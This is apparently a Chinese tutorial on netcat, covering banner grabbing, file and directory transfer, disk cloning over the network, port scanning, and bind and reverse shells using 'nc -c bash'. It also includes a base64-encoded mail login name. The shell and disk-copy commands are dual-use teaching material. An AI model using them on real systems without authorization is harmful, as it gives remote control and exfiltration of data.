NETCAT - NC
网络工具中的瑞士军刀
- 侦听模式、传输模式
- telnet、获取 banner 信息
- 传输文本信息
- 传输文件、目录
- 加密传输文件
- 远程控制、木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
取代 telnet
# 帮助
nc -h
# 使用手册
man nc
# 不使用 DNS 解析域名
nc -n
# 显示链接的详细信息
nc -v
示例:
# 获取 ip
ping pop3.163.com -c 1
# 链接 pop3 服务器
nc -vn 123.126.97.79 110
# 链接成功后输入用户名密码(base64 加密)
USER MTU1NTM1OTg5MzVAMTYzLmNvbQo=
ping smtp.163.com -c 1
nc -vn 123.126.97.3 25
# 链接成功后输入
ehlo yuanfh
# 输入用户名密码登录,明文
AUTH LOGIN
传输文本信息
远程电子取证信息收集
一台服务器开放端口:
nc -l -p 4444
另一台服务器链接:
nc -nv 127.0.0.1 4444
两台电脑就能聊天了。
还可以进行电子取证,比如:
ls -l | nc -nv 127.0.0.1 4444
# 一秒钟后断开链接
ls -l | nc -nv 127.0.0.1 4444 -q 1
对方就能实时收到 ls -l 的命令结果的信息。如果对方要保存信息的话,可以在开端口时候把输出重定向到文件中:
nc -l -p 4444 > nc.txt
其他用法:
- 传输文件
nc -lp 333 > 1.mp4
nc -nv 127.0.0.1 333 < 1.mp4 -q 1
# 或
nc -q 1 -lp 333 < 1.mp4
nc -nv 127.0.0.1 333 > 1.mp4
- 传输目录
tar -cvf - music/ | nc -lp 333 -q 1
nc -nv 127.0.0.1 333 | tar -xvf -
- 加密传文件
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.mp4 | nc -nv 127.0.0.1 333 -q 1
- 流媒体服务器
cat 1.mp4 | nc -lp 333
nc -nv 127.0.0.1 333 | mplayer -vo x11 -cache 3000 -
- 远程克隆硬盘
nc -lp 333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 127.0.0.1 333 -q 1
远程电子取证,可以将目标服务器硬盘或者内存远程复制。
端口扫描
# -z 不做信息交互,用于端口扫描
# 探测 tcp 端口(端口号:1-65535)
nc -nvz 127.0.0.1 1-65535
# 探测 udp 端口(端口号:1-65535)
nc -vnzu 127.0.0.1 1-65535
扫描器不一定准确,要用多款扫描器。不如 nmap 等工具功能强大。
远程控制
# -c
# 正向
nc -lp 333 -c bash
nc 127.0.0.1 333
# 反向
nc -lp 333
nc 127.0.0.1 333 -c bash
windows 下应把 bash 改成 cmd。
缺点
缺乏加密和身份验证的能力。会被别人劫持,或探测到你发送的信息。
可以使用 Ncat。弥补了 NC 缺乏加密和身份验证的能力的不足,包含于 nmap 工具包中。
不同系统的 NC 命令可能不一样,要看看命令是否兼容。
# 命令帮助
nc -h
# 使用手册
man nc
相关文章:
Ncat